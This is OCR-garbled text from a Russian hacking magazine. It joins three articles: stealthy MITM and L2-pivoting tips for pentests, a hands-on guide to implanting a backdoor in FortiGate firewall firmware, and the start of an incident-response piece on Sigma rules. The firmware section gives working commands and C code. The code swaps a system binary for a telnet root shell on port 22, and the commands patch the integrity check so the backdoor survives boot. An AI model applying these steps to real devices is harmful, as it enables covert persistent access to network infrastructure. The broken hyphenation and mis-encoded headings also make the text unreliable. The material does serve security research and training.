ко поз воля ет перех ватывать учет ные записи, но и откры вает воз можность
для Relay-атак. Но MITM одновре мен но и самая опас ная ата ка с точ ки зре ния
воз можнос ти нарушить работу сети. Она не про щает оши бок. Я дам нес коль- 
ко советов, которые поз волят про водить MITM более акку рат но.

Ìîùíîñòü æåëåçà

По заботь ся о мощ ности сво его железа, оно дол жно быть готово к тому, что
через него пой дет тра фик нес коль ких десят ков легитим ных хос тов. Это каса- 
ется и тво его интерфей са. Если ты собира ешь ся спу фить хос ты с гигабит ным
интерфей сом, а у тебя кон нект 100 Мбайт/с, то ско рость сети серь езно пос- 
тра дает и может про изой ти кол лапс. Поль зовате ли быс тро заметят, что сеть
ста ла зависать, и позовут сисад минов, а те (если не зря получа ют зар пла ту)
пой мут, в чем дело. Так пен тест перес танет быть сек ретом, и при дет ся крас- 
неть перед адми нами.

Вот рекомен дован ные парамет ры железа:
цен траль ный про цес сор от четырех ядер;•
опе ратив ная память от 8 Гбайт;•
се тевой интерфейс с пол ным дуп лексом, 1 Гбит/с и выше. Хорошо, если
вый дет под клю чить Ethernet-адап тер через высокос корос тной интерфейс
Thunderbolt 3/4.

•

Од нако, ско рее все го, ты упрешь ся в воз можнос ти пор та ком мутато ра,
к которо му ты под клю чен. Если там линк в 1 Гбит/с, выше это го ты прыг нуть
не смо жешь. Обя затель но сле ди за поведе нием сети.

Ðàçðåøåíèå ìàðøðóòèçàöèè

Глав ное пра вило MITM — раз решить мар шру тиза цию тра фика со сво ей сто- 
роны:

1 sudo sysctl -w net.ipv4.ip_forward=

Ина че при ата ке легитим ный тра фик будет упи рать ся в твой хост и даль ше он
не прой дет, а это DoS, то есть видимый приз нак ата ки. И сно ва пен тест
перес танет быть сек ретом.

Ïîòåíöèàëüíûé Storm Control

Ес ли на пор те ата кующе го есть Storm Control с кон тро лем тра фика
UCAST/MCAST/BCAST, может сра ботать тре вога обо рудо вания, потому что
порт ата кующе го при MITM нач нет обра баты вать гораз до боль ше тра фика,
чем ожи далось по нас тро енно му THRESHOLD. Имей в виду!

Îáõîä òðàññèðîâêè (TTL Shift)

Сме щение TTL в таб лице mangle поможет спря тать IP-адрес ата кующе го
из трас сиров ки пакетов. MITM-ата ки соз дают избы точ ный хоп, и если про вес- 
ти трас сиров ку со сто роны легитим ной машины, то IP-адрес ата кующе го ока- 
жет ся в самой трас сиров ке. Такой рас клад событий SOC точ но не оце нит.

 TTL  1 sudo iptables -t mangle -A PREROUTING -i eth0 -J --ttl-inc

Âîññòàíîâëåíèå ARP-òàáëèöû ïîñëå àòàêè

Твой инс тру мент обя затель но дол жен генери ровать обратные IS-AT-кад ры,
которые вос ста нав лива ют сос тояние ARP-таб лиц хос тов еще до ата ки.
Это очень важ ный момент. Хост или сер вис могут и не зап росить ARP, они
будут думать, что ты все еще их шлюз. А это DoS. Это очень важ ный момент,
который сто ит учи тывать. Кста ти говоря, Ettercap и Arpspoof отлично дела ют
эту работу, а по окон чании генери руют необ ходимые IS-AT-кад ры и вос ста- 
нав лива ют струк туру ARP-таб лиц хос тов.

ICMP Redirect

Во вре мя MITM-ата ки твоя машина может генери ровать пакеты ICMP
Redirect, что встре вожит IDS/IPS, поэто му обя затель но вык лючай на сво ей
сто роне сооб щения ICMP Redirect в .sysctl.conf

0 sudo sysctl -w net.ipv4.conf.all.send_redirects=
0 sudo sysctl -w net.ipv4.conf.eth0.send_redirects=

Êîíôèãóðàöèÿ NAT

Од но из глав ных пра вил MITM — нас трой ка NAT. Обыч но ата кующие обхо дят- 
ся одной коман дой:

 nat sudo iptables -t -A POSTROUTING -o eth0 -J MASQUERADE 

Без нас трой ки NAT ата кующий не смо жет уви деть вто рую часть тра фика,
в которой потен циаль но могут находить ся учет ные дан ные. Это про исхо дит
из-за асим метрич ной мар шру тиза ции — ког да тра фик идет одним путем,
но воз вра щает ся дру гим. Бла года ря мас карадин гу асим метрич ная мар шру- 
тиза ция не помеша ет ата кующе му видеть тра фик, иду щий в обе сто роны.

Ìîäóëü nf_conntrack äëÿ ïðîòîêîëîâ No NAT Friendly

Сквозь тебя может ходить тра фик FTP, H.323 и SIP. Это про токо лы No NAT
Friendly, и тебе понадо бит ся модуль nf_conntrack, что бы они работа ли с NAT.
При MITM ата кующий дол жен вклю чить NAT, что бы видеть тра фик, иду щий
в обе сто роны.

sudo modprobe nf_conntrack 

Âûáîð ìàñîê ïîäñåòåé ïðè ARP Spoofing

При про веде нии ARP-спу фин га сле ди за мас кой под сети, с которой собира- 
ешь ся работать. Если ты возь мешь слиш ком боль шую мас ку, твое железо
может прос то не выдер жать наг рузки и воз никнет DoS.

Îñîáåííîñòü àòàêè ïðè STP (MITM)

При сутс твие STP-кад ров внут ри сети — одно из самых час тых явле ний
при ана лизе тра фика. Сущес тву ют ата ки на про токол STP, свя зан ные с инъ- 
екци ей BPDU-кад ров. Нап ример, что бы про вес ти MITM, нуж но отпра вить
в ответ BPDU-кадр с наимень шим зна чени ем при ори тета. Тог да компь ютер
ата кующе го получит роль кор невого ком мутато ра.

Од нако на деле не все так прос то. При экс плу ата ции STP ты получишь
толь ко час тичную MITM, так как не весь тра фик будет ходить через кор невой
ком мутатор. Поэто му в таких слу чаях не рас счи тывай на боль шой поток тра- 
фика.

ETHERNET-ÒÓÍÍÅËÈ ÏÐÈ ÏÈÂÎÒÈÍÃÅ

Пен тесте рам иног да нуж но про водить ата ки каналь ного уров ня. Нап ример,
при менить тот же Responder, что бы перех ватить учет ные дан ные. Ата кующий
эска лиру ет свое при сутс твие в сети с помощью пивотин га, одна ко для про- 
веде ния атак каналь ного уров ня ему необ ходимы имен но L2-тун нели. L2-тун- 
нелиро вание при мени мо при пивотин ге, если ата кующе му тре бует ся L2-дос- 
туп до целевых хос тов.

Су щес тву ет два вида VPN-интерфей сов:
TAP — вир туаль ный сетевой драй вер, который эму лиру ет Ethernet. Работа- 
ет на каналь ном уров не, опе рируя Ethernet-кад рами;

•

TUN — вир туаль ный сетевой драй вер, который исполь зует ся для пос тро- 
ения L3-тун нелей. Работа ет на сетевом уров не, опе рируя IP-пакета ми.

•

Ес ли ата кующий стре мит ся к ата кам каналь ного уров ня в целевой сети, ему
нуж но исполь зовать имен но TAP-интерфей сы, с которы ми он будет стро ить
L2-тун нель. Для это го есть мно го спо собов, начиная с SSH и OpenVPN
и закан чивая более экзо тичес кими вещами, такими как EoIP, GRETAP, L2TPv3,
VXLAN. Пен тестер может стро ить тун нели как угод но, но я рас ска жу о двух
глав ных нюан сах.

Пе ред тем как проб росить L2-тун нель, про писы вай явный мар шрут
/32 до целево го хос та, с которым будешь уста нав ливать тун нель. Без это го
мар шру та при получе нии адре са на L2-интерфей се может воз никнуть раз рыв
тун неля, так как тун нель будет перек рывать мар шрут до хос та. Коман да нес- 
ложна — прос то про пиши этот мар шрут через свой умол чатель ный шлюз:

sudo ip route add X.X.X.X/32 via X.X.X.X 

Ата кующий обес печива ет себя L2-тун нелем с помощью спе циаль ных вир- 
туаль ных интерфей сов. Но что бы вза имо дей ство вать с целевой сетью, необ- 
ходимо сна чала получить адрес. Обыч но ата кующий узна ет его с помощью
DHCP, одна ко по DHCP может при лететь дру гая информа ция о шлю зе, что
спо соб но негатив но пов лиять на сетевую связ ность. Поэто му, ког да получа- 
ешь адрес на L2-интерфей се при пивотин ге, сра зу же вто рой коман дой уда- 
ляй при летев ший умол чатель ный мар шрут:

 tap0  sudo dhclient -v ; sudo route del default 

Итак, мы с тобой разоб рались в осо бен ностях Ethernet-пивотин га: какие пра- 
вила хороше го тона нуж но при менять, что бы добить ся успе ха при экс плу ата- 
ции L2.

ÒÀÁËÈÖÀ ÂÅÊÒÎÐÎÂ

Я сде лал неболь шую мат рицу самых эффектив ных атак каналь ного уров ня,
от которых есть ощу тимый импакт.

Атак каналь ного уров ня, конеч но же, гораз до боль ше, но я выб рал самые тол- 
ковые и эффектив ные век торы, от которых будет поль за. Никаких DoS и про- 
чих сом нитель ных вещей.

ÂÛÂÎÄÛ

В этой статье я изло жил основные момен ты при пен тесте Ethernet. Этой тех- 
нике уже нес коль ко десят ков лет, но она по-преж нему при меня ется на пен- 
тестах при внут реннем ана лизе защищен ности. Наде юсь, что этой стать ей я
смо гу подарить нес коль ко новых тех ник для пен тесте ров, а адми нис тра торы
сетей повысят осве дом ленность.

https://t.me/wearecaster
https://xakep.ru/2022/05/12/ethernet-abyss/
https://github.com/wearecaster/Above
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ВЗЛОМ

Как извес тно, даже инс тру мен ты для обес- 
печения сетевой безопас ности могут иметь
серь езные уяз вимос ти. В этой статье мы
раз берем, как зло умыш ленник может взло- 
мать меж сетевой экран FortiGate и уста- 
новить в его про шив ке бэк дор.

Эта исто рия начина ется с того, что однажды я про читал ресерч на 
, в котором про исхо дит перепол нение кучи. Уяз вимость при водит

к выпол нению про изволь ного кода. Я решил поп робовать реали зовать ,
но мне помеша ло отсутс твие лицен зии. Перед тем как реали зовы вать этот
PoC, необ ходимо уста новить бэк дор на FortiGate с исполь зовани ем уяз- 
вимос ти . В статье я рас ска жу, как сде лать этот бэк дор и как
он работа ет.

CVE-2022-
42475

PoC

CVE-2019-5587

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

 — меж сетевой экран с воз можностью мар шру тиза ции нового
поколе ния. Он вклю чает в себя боль шинс тво тра дици онных сер висов, таких
как про вер ка тра фика, анти вирус, VPN, сис темы пре дот вра щения втор жений,
и дру гие фун кции обес печения безопас ности. Для демонс тра ции уяз вимос ти
и даль нейших иссле дова ний необ ходимо под готовить стенд с исполь зовани- 
ем FortiGate.

FortiGate

ÃÎÒÎÂÈÌ ÑÒÅÍÄ

Для ресер ча была выб рана вер сия FortiGate VM64 v6.4.5 build1828 (GA).
Стенд раз ворачи ваю на VMware ESXI, а обра зы мар шру тиза тора дол жны
иметь рас ширения , , ..out .ovf .zip

Пос ле рас паков ки архи ва мы получим сле дующие фай лы.

В даль нейшем для ревер са и иссле дова ния бинарей нам понадо бит ся диск
вир туаль ной машины .fortios.vmdk

В VMware ESXI нуж но импорти ровать сущес тву ющую вир туаль ную машину,
поэто му сле дует выб рать режим , а затем — 

.

Create/Register VM Deploy a 
virtual machine from an OVF or OVA file

Те перь надо ука зать сле дующие фай лы для заг рузки вир туаль ной машины:
 — сис темный жес ткий диск FortiGate;• datadrive.vmdk

 — вир туаль ная машина;• FortiGate-VM64.ovf

 — фай ловая сис тема и сама начин ка FortiGate.• fortios.vmdk

Имя у вир туал ки может быть про изволь ным, я наз вал ее прос то FortiGate.

Пе рей дем к нас трой кам сети. Все сетевые адап теры, кро ме пер вого, вык- 
лючим, потому что будем работать толь ко с одним. Так же изме ним
интерфейс с  на . Это нуж но, что бы вир туаль ная

машина находи лась с нами в одной сети.

[pt]Network VM Network

За пус каем вир туаль ную машину, вво дим логин — , пароль — ,
пос ле чего новый пароль необ ходимо при думать.

admin Enter

По умол чанию FortiGate нас тро ен на исполь зование в качес тве NTP-сер вера.
Необ ходимо отклю чить NTP-син хро низа цию для перехо да в проб ный режим.

NTP — сетевой про токол для син хро низа ции внут- 
ренних часов компь юте ра пос редс твом исполь- 
зования сетей с перемен ной латен тностью.

config system ntp 
set ntpsync disable 
set type custom 
end 

Здесь
 — коман да для вхо да в режим кон фигури рова ния

NTP;
• config system ntp

 — коман да для отклю чения син хро низа ции
с NTP-сер вером;

• set ntpsync disable

 — коман да для уста нов ки NTP-сер вера, который ука- 
зыва ется вруч ную.

• set type custom

Те перь нас тало вре мя нас тро ить мар шру тиза тор. Нас тра ивать будем уда лен- 
ное под клю чение и дос туп к веб-интерфей су фор тика.

ÓÄÀËÅÍÍÎÅ ÏÎÄÊËÞ×ÅÍÈÅ

Нас тра ивать SSH, HTTP, HTTPS, Telnet будем в CLI FortiGate. Для уда лен ного
под клю чения нуж но нас тро ить интерфейс, который мы оста вили вклю чен ным:

config system interface 
edit port1 
set mode static 
set role lan 
set allowaccess http https telnet ssh ping 
set ip 192.168.0.217/24 
show 
end 

Здесь
 — коман да для вхо да в режим кон фигура- 

ции интерфей са;
• config system interface

 — коман да для кон фигура ции опре делен ного интерфей са;• edit port1

 — условное обоз начение интерфей са;• port1

 — коман да для уста нов ки ста тичес кого адре са. Что бы
нас тро ить DHCP, нуж но вмес то  написать , и тог да IP-адре са
будут уста нов лены авто мати чес ки;

• set mode static

static DHCP

 — коман да для уста нов ления роли и интерфей са.
В FortiGate есть четыре роли:

• set role lan

роль  озна чает, что интерфейс исполь зует ся для под клю чения
к локаль ной сети;

• lan

роль  озна чает, что интерфейс исполь зует ся для под клю чения
к интерне ту;

• wan

роль  озна чает, что интерфейс исполь зует ся для под клю чения
к сер верам;

• dmz

роль  озна чает, что интерфейс не име ет кон крет ной роли;• undefined

 — коман да
для дос тупа к управле нию с исполь зовани ем , , , ,

;

• set allowaccess http https telnet ssh ping

https http telnet ssh

ping

 — коман да для уста нов ки IP-адре са и мас ки
под сети;

• set ip 192.168.0.217/24

 — коман да, которая показы вает все нас трой ки интерфей са;• show

 — коман да для завер шения нас трой ки.• end

Вот так выг лядит резуль тат работы коман ды .show

Те перь нас тра иваем ста тичес кую мар шру тиза цию для дос тупа из дру гих
сетей к Web и CLI:

config router static 
edit 1 
set gateway 192.168.0.255 
set device port1 
set dst 0.0.0.0 0.0.0.0 
set status enable 
next 
end 

Здесь
 — коман да для кон фигура ции ста тичес ких мар- 

шру тов;
• config router static

 — коман да нас трой ки нумера ции с неис поль зуемо го номера;• edit 1

 — коман да для уста нов ки адре са шлю за;• set gateway 192.168.0.255

 — коман да для уста нов ки интерфей са;• set device port1

 — коман да для уста нов ки мес та наз- 
начения;

• set dst 0.0.0.0 0.0.0.0

 — коман да для вклю чения ста тичес кой мар шру- 
тиза ции;

• set status enable

 — коман да для завер шения нас трой ки.• end

Ко ман да  нуж на для про вер ки нас- 

трой ки ста тичес кой мар шру тиза ции:

get router info routing-table all

S* 0.0.0.0/0 [10/0] via 192.168.0.255, port1 
C 192.168.0.0/24 is directly connected, port1 

Этот вывод говорит о том, что для всех устрой ств, находя щих ся в сети, шлюз
по умол чанию будет , а зна чит, нас трой ка ста тичес кой мар- 

шру тиза ции прош ла успешно.

192.168.0.255

Пос ле это го под клю чаем ся к веб-интерфей су через бра узер по адре су
. Логин и пароль исполь зуй такой же, как и при под клю чении

к коман дной стро ке.

192.168.0.217

Продолжение статьи →
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Пос ле успешной под готов ки стен да нас тало вре мя для бэк дора. Зай дем
в дирек торию с обра зом вир туаль ной машины и вир туаль ными дис ками
FortiGate. В моем слу чае вир туаль ный диск называ ется 

.

forti_6_4_5-disk1.
vmdk

Даль ше нас тупа ет часть мон тирова ния и  . Мон тирова- 

ние выпол няет ся сле дующим обра зом:

от равле ния rootfs.gz

16sudo modprobe nbd max_part=
sudo mkdir /mnt/fortios 

 sudo qemu-nbd -r -c /dev/nbd1 ./forti_6_4_5-disk1.vmdk 
sudo mount /dev/nbd1p1 /mnt/fortios 

Здесь
 — коман да под готов ки для мон-

тирова ния ста тичес кого VDI-обра за;
• sudo modprobe nbd max_part=16

 — коман да для соз дания дирек тории 
;

• sudo mkdir /mnt/fortios /mnt/

fortios

 —
коман да для экспор та обра за дис ка QEMU, с исполь зовани ем про токо ла
NBD:

• sudo qemu-nbd -r -c /dev/nbd1 ./forti_6_4_5-disk1.vmdk

 — ключ озна чает экспорт дис ка толь ко для чте ния;• -r

 — ключ озна чает под клю чение фай ла c ука зан ным име нем к пап ке
/dev устрой ства NBD;

• -c

 — коман да для мон тирова- 
ния дис ка.

• sudo mount /dev/nbd1p1 /mnt/fortios

NBD (Network Block Device) — сетевой про токол,
который мож но исполь зовать для пересыл ки
блоч ного устрой ства (обыч но жес тко го дис ка
или раз дела) с одно го компь юте ра на дру гой.
Нап ример, локаль ный компь ютер может получить
дос туп к жес тко му дис ку, под клю чен ному к дру- 
гому компь юте ру. В нашем слу чае про токол
исполь зует ся для под клю чения вир туаль ного жес- 
тко го дис ка к компь юте ру. QEMU уме ет экспор- 
тировать вир туаль ный образ дис ка, исполь зуя
про токол NBD.

В резуль тате  успешно мон тиру ется к нашему
компь юте ру.

forti_6_4_5-disk1.vmdk

В  содер жится ОС FortiOS, которую мы будем иссле довать. Одна ко

перед рас паков кой  нуж но узнать его кон троль ную сум му CRC-
32 из фай ла , потому что в вер сиях FortiGate выше 6.0.5 про- 

веря ется целос тность не толь ко архи ва, но и фай лов внут ри него. Если про- 
вер ка  не про ходит, машина прос то отка жет ся запус кать ся.

rootfs.gz
rootfs.gz

filechecksum

filechecksum
Те перь рас паковы ваем архив с исполь зовани ем ути лит  и :gzip cpio

 gzip -d rootfs.gz 
cpio sudo -idv < rootfs 

Ар хиватор , думаю, тебе зна ком — это ути лита сжа тия и вос ста нов ления
фай лов, исполь зующая алго ритм Deate. А  — это дво ичный архи ватор,
который поз воля ет собирать любое чис ло фай лов, дирек торий и дру гих объ- 
ектов фай ловой сис темы (сим воличес ких ссы лок и про чего) в еди ный поток
бай тов.

gzip
cpio

Ко ман дой  мы рас паковы ваем , при этом

ключ  озна чает рас паков ку фай ла.

gzip -d rootfs.gz rootfs.gz
-d

Ко ман дой  копиру ем фай лы из архи ва. Здесьsudo cpio -idv < rootfs
ключ  исполь зует ся для выбор ки фай лов из стан дар тно го вход ного
потока;

• -i

ключ  исполь зует ся для соз дания катало гов при необ ходимос ти;• -d

ключ  исполь зует ся для выдачи допол нитель ной информа ции (спи сок
имен обра баты ваемых фай лов).

• -v

Пос ле этих манипу ляций мы получа ем пол ную фай ловую сис тему про шив ки
FortiGate.

Нас инте ресу ет архив , потому что в нем содер жатся бинари 

и :

bin.tar.xz init
smartctl

 — прог рамма, которая запус кает сис тему и управля ет ею;• /bin/init

 — инс тру мент коман дной стро ки для управле ния сис- 
темой SMART, встро енной в боль шинс тво жес тких дис ков ATA/SATA
и SCSI/SAS и твер дотель ных накопи телей.

• /bin/smartctl

Файл  упа кован изме нен ными архи вато рами  и , которые

находят ся в дирек тории . Рас паковы вать я его буду эти ми же изме нен- 

ными ути лита ми.

bin.tar.xz xz tar
/sbin

Ко ман дой 

(эта коман да меня ет кор невой каталог) изба вим ся от архи ва, соз данно го
архи вато ром . Здесь

sudo chroot . sbin/xz --check=sha256 -d bin.tar.xz

xz
 — ключ для про вер ки целос тнос ти, под держи вает четыре типа

про вер ки:
• --check

 — не рас счи тыва ет про вер ку целос тнос ти;• none

 — рас счи тыва ет CRC-32, исполь зуя полином из ;• crc32 IEEE-802.3
 — рас счи тыва ет CRC-64, исполь зуя полином из ;• crc64 ECMA-182

 — рас счи тыва ет SHA-256;• sha256

 — ключ для рас паков ки.• -d

Ко ман дой  изба вим ся от вто рого

архи ва, соз данно го архи вато ром , где

sudo chroot . /sbin/ftar -xf bin.tar
tar

ключ  исполь зует ся для извле чения фай лов из архи ва;• -x

ключ  исполь зует ся для ука зания име ни архи ва.• -f

Та ким обра зом мы получим дирек торию  и наконец-то раз берем ся
с бинаря ми  и .

/bin
init smartctl

Для получе ния нор маль ного шел ла я исполь зовал прог рамму BusyBox 1.36.0,
которую ском пилиро вал ста тичес ки. Ста тичес кая ком пиляция нуж на потому,
что в этой про шив ке могут исполь зовать ся спе цифи чес кие или изме нен ные
стан дар тные биб лиоте ки. Так, при динами чес кой лин ковке бинарь прос то
не пой мет, отку да ему брать фун кции и к чему обра щать ся. В ста тичес кой
ком пиляции все фун кции, которые исполь зуют ся в прог рамме, находят ся
непос редс твен но в ней. Прог рамма ста новит ся незави симой от биб лиотек,
но при бав ляет в весе.

BusyBox — набор UNIX-ути лит коман дной стро ки,
исполь зуемый в качес тве основно го интерфей са
во встра иваемых опе раци онных сис темах. Пре- 
иму щес тва это го при ложе ния в малом раз мере
и низ ких тре бова ниях к аппа рату ре.

BusyBox я ска чал с . Пос ле рас паков ки нуж но выпол нить
коман ду , с помощью которой будет ском пилиро ван

. Во вре мя сбор ки откро ется окно нас трой ки ком пиляции. Для ста- 

тичес кой ком пиляции выбирай вари ант , а затем

.

офи циаль ного сай та
make menuconfig

busybox
Settings → Build Options

Build static binary (no shared libs)

Так же надо убрать звез дочку нап ротив пун кта  для отклю чения син хро- 

низа ции с фай ловой сис темой.

sync

Пос ле сбор ки мы получим бинар ный файл .busybox

ÓÑÒÀÍÀÂËÈÂÀÅÌ ÁÝÊÄÎÐ

Да лее план такой:
1. Ско пиру ем бинарь  в дирек торию  про шив ки FortiGate.busybox /bin

2. Уда лим сим воличес кую ссыл ку , которая ука зыва ет на ,
и переназ начим ее на толь ко что ском пилиро ван ный . Таким
обра зом мы добь емся вызова  при обра щении к .

sh /bin/sysctl

busybox

busybox sh

3. На пишем мал варь, которая соз даст бэк дор и откро ет уда лен ный дос туп
к фай ловой сис теме FortiGate.

4. За меним  нашим бэк дором. Мы заменим имен но этот бинарь,
потому что к нему мож но обра тить ся непос редс твен но из CLI FortiGate
коман дой . Эта коман да исполь зует ся
для управле ния сис темой хра нения дан ных FortiWAN с исполь зовани ем
стан дар тной ути литы .

smartctl

diagnose hardware smartctl

smartctl

Øàã 1
Ко пиру ем  в каталог  и даем ему все пра ва:busybox /bin

sudo cp busybox $PWD/root_dir/bin 
 cd $PWD/root_dir/bin 

sudo chmod 777 busybox 

Øàã 2
Уда ляем сим воличес кую ссыл ку  ( ) и добав ляем новую:sh sh->/bin/sysctl

  sh sudo rm -rf
 sudo ln -s /bin/busybox sh 

Те перь сим воличес кая ссыл ка  ука зыва ет на , а это озна чает, что
у нас есть поч ти пол ноцен ный шелл.

sh busybox

Øàã 3
Cоз даем бэк дор, который откры вает под клю чение по :Telnet

# include <stdio.h>
  void shell() {

     system("/bin/busybox ls", 0, 0);
     system("/bin/busybox id", 0, 0);
   

  
system("/bin/busybox killall sshd && /bin/busybox telnetd -l /

bin/sh -b 0.0.0.0 -p 22", 0, 0);
   return;
}

      int main(int argc, char const *argv[]) {
   shell();
    return 0;
}

Прог рамма выводит все фай лы, которые находят ся в дирек тории, коман дой 

. Пос ле это го мы опре деля ем свой  коман дой 

. Далее уби ваем все под клю чения по SSH и откры ваем дос туп
по про токо лу  через 22-й порт, на котором уже име ется дос туп к шел лу

, где :

/
bin/busybox ls uid /bin/
busybox id

Telnet
/bin/sh sh->busybox

 22 /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p

Ком пилиру ем прог рамму ста тичес ки по той же при чине, что и :busybox

 gcc backdoor.c -static -o backdoor 

Øàã 4
Те перь уда ляем  и заменя ем его сво им бинар ным фай лом:smartctl

sudo rm ./bin/smartctl 
sudo cp backdoor ./bin/smartctl 

По сути, мы уда лили прог рамму с наз вани ем  и соз дали копию
бинаря  с наз вани ем .

smartctl
backdoor smartctl

Продолжение статьи →
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Все про вер ки и работа FortiOS осно выва ются на бинаре . Для про вер ки

это го выс казыва ния вве дем коман ду ,
что бы най ти стро ку , потому что с нее начина ется

работа про шив ки.

init
grep -rnl "System is starting"

System is starting...

В общем виде коман да поис ка выг лядит сле дующим обра зом:

  grep -rnl "System is starting"

Здесь
 — ключ для поис ка стро ки во всех фай лах в каж дом катало ге рекур- 

сивно, сле дуя сим воличес ким ссыл кам;
• -r

 — ключ для поис ка каж дой стро ки вывода с номером стро ки;• -n

 — ключ для вывода име ни каж дого вход ного фай ла, в котором содер- 
жится стро ка.

• -l

Пол ностью коман да поис ка выг лядит так:

  $ grep -rnl "System is starting"
/bin/init 

Та ким обра зом, мож но сде лать вывод, что про вер ка кон троль ной сум мы
будет выпол нять ся в прог рамме . Для ревер са бинаря я исполь зовал IDA

Pro. И пер вое, что сле дует най ти, — стро ка .

init
System is starting

Пе рей дем по перек рес тным ссыл кам и попадем в фун кцию .main()

Те перь най дем стро ку, которая говорит нам о том, что сис тема оста нов- 
лена, — . Такое сооб щение выводит ся, если про вер- 

ка кон троль ной сум мы не прой дена. Находим стро ку и по перек рес тным
ссыл кам отыс кива ем этот учас ток кода, который выпол няет перезаг рузку сис- 
темы.

The system is halted

Мож но най ти вызов этой фун кции в фун кции .main()

В фун кции  при сутс тву ет два вызова фун кции . Пер вый

из них зависит не от кон троль ной сум мы, а от фор ка про цес са и дру гих сис- 
темных вызовов.

main() do_halt()

Вто рой вызов фун кции  име ет непос редс твен ное отно шение

к про вер ке чек-сум мы. Для доказа тель ства это го я нашел фун кцию, которая
про веря ет содер жимое фай ла с кон троль ной сум мой.

do_halt()

Внут ри этой фун кции откры вает ся на чте ние файл и из него извле кают ся дан- 
ные с целью про вер ки сис темы.

В фун кции  путем выпол нения опе рации XOR опре деля ется
наз вание фай ла.

find_checksum()

На пишем прос той дек риптор для про вер ки:

  filename = 'aiqu0oZi'
  key = [0x4E,0x47,0x17,0x12,0x44,0x1C,0x2F,0x04]
   for i in range(len(filename)):

      print(chr(ord(filename[i])^key[i]), end = '')

По лучим такую стро ку:

/.fgtsum 

Этот файл мож но най ти в кор невом катало ге, поэто му оче вид но, что рас смот- 
ренная нами фун кция исполь зует файл для реали зации некото рой про вер ки
сис темы.

Что бы обой ти эту про вер ку, нуж но либо заменить в фун кции 

пер вую инс трук цию инс трук цией , что бы фун кция ничего не выводи ла,
либо пре дот вра тить перезаг рузку при неудач ной про вер ке. Я выб рал вто рой
вари ант, поэто му в бинар ном фай ле  испра вил  на  в перехо де

на фун кцию .

do_halt()
ret

init JZ JNZ
do_halt()

Та ким обра зом у нас получи лось обма нуть про шив ку с про вер кой кон троль- 
ной сум мы, и наш бэк дор сра бота ет.

В более новых про шив ках сис тема безопас ности
была обновле на и такой обход может не сра- 
ботать. В этом слу чае будет про верять ся еще и
внеш ний файл , который тоже
находит ся на вир туаль ном дис ке 

 вмес те с . Необ ходимо
будет вычис лить CRC-32 нового 
и заменить его в этом фай ле.

filechecksum
forti_6_4_5-

disk1.vmdk rootfs.gz
rootfs.gz

ÑÎÁÈÐÀÅÌ ÂÑÅ ÎÁÐÀÒÍÎ

Те перь соберем все в один архив:

 sudo chroot . /sbin/ftar -cf bin.tar ./bin 
 sudo chroot . /sbin/xz --check=sha256 -e bin.tar 

sudo su root 
find       . -path './bin' -prune -o -print | cpio -H newc -o > ../rootfs.
raw 

 cat ../rootfs.raw | gzip > ../rootfs.gz 

Пос ле сбор ки я получил   и заменил  в при- 
мон тирован ном обра зе . Теперь оста лось толь ко

заменить ори гиналь ный диск модифи циро ван ным.

от равлен ный rootfs.gz rootfs.gz
forti_6_4_5-disk1.vmdk

ÏÐÎÂÅÐÊÀ ÁÝÊÄÎÐÀ

Пос ле соз дания бэк дора необ ходимо нем ного отре дак тировать нас трой ки.
Тро ян заменя ет порт SSH, поэто му нас трой ки стен да теперь такие:

config system interface 
edit port1 
set mode static 
set role lan 
set alias LAN 
set allowaccess http https ssh ping 
set ip 192.168.0.216/24 
show 
end 

Про веря ем работу бэк дора. Для это го надо под клю чить ся по Telnet c исполь- 
зовани ем сле дующей коман ды:

telnet XXX.XXX.XXX.XXX 22 

Вмес то  ука жи IP-адрес FortiGate.XXX.XXX.XXX.XXX

Под клю чение выпол нено, а зна чит, наш бэк дор работа ет!

ÂÛÂÎÄÛ

По казан ный в статье экспе римент дает воз можность про качать навыки
в реверс-инжи нирин ге и иссле дова нии про шивок устрой ств наподо бие меж- 
сетевых экра нов. Одна ко навыки полез ны толь ко тог да, ког да их мож но при- 
менить на прак тике. Реали зовав бэк дор в про шив ке FortiGate, мож но кряк нуть
лицен зию и реали зовать уяз вимость . Но об этом — в дру гой
раз.

CVE-2022-42475

https://nvd.nist.gov/vuln/detail/cve-2022-42475
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ВЗЛОМ

Пер вый этап реаги рова ния на ИБ-инци- 
дент — это обра бот ка событий и поиск
в них арте фак тов. Затем спе циалист стро ит
тай млай ны и опре деля ет век тор и вре мя
ата ки. В этой статье мы погово рим об инс- 
тру мен тах, которые облегча ют этот труд
и помога ют в рас сле дова нии, в осо бен- 
ности ког да дан ных очень мно го.

Иног да быс тро отде лить зер на от пле вел прос то. Дос таточ но вос поль зовать- 
ся под ручны ми средс тва ми или ути лита ми вро де  и .EvtxECmd Timeline Explorer

Но быва ет, что задача серь езнее: событий на вхо де мно го, и обра ботать
такой объ ем дан ных быс тро или най ти век тор (и, что час то слож нее, опре- 
делить вре мя инци ден та) доволь но труд но. Боль но смот реть на ИБ-спе- 
циалис тов, которые исполь зуют для таких задач натив ные инс тру мен ты, нап- 
ример пре дус танов ленный жур нал прос мотра событий Windows.

Вмес то это го сто ит воору жить ся чуть более прод винуты ми инс тру мен- 
тами. Давай раз берем нес коль ко ути лит и их осо бен ности, а заод но пос- 
мотрим на них в дей ствии — на при мерах событий жур налов Windows вер сий
стар ше 7.

Зна комить ся будем со сле дующи ми ути лита ми для Threat Hunting и Incident
Response:

;• DeepBlueCLI
;• Chainsaw

:• Yamato Security Tools
;• Hayabusa

.• Takajo

SIGMA

О Sigma-пра вилах и их струк туре уже написа на не одна статья, поэто му очень
корот ко: Sigma — опен сор сный про ект, который ведет ся с 2017 года и поз- 
воля ет писать пра вила (сиг натуры) для обна руже ния вре донос ной активнос- 
ти. Сей час обще дос тупные пра вила пок рыва ют более 3 тысяч тех ник и так тик
ата кующих. Обна руже ние вре донос ной активнос ти в инс тру мен тах, о которых
мы будем говорить (кро ме DeepBlueCLI), тоже осно вано на Sigma-пра вилах.
Они поз воля ют быс тро находить ано малии и вре донос ную активность в боль- 
шом количес тве событий. Преж де чем прис тупать к ути литам, ска чаем Sigma-
пра вила:

git clone https://github.com/SigmaHQ/sigma 

DEEPBLUECLI

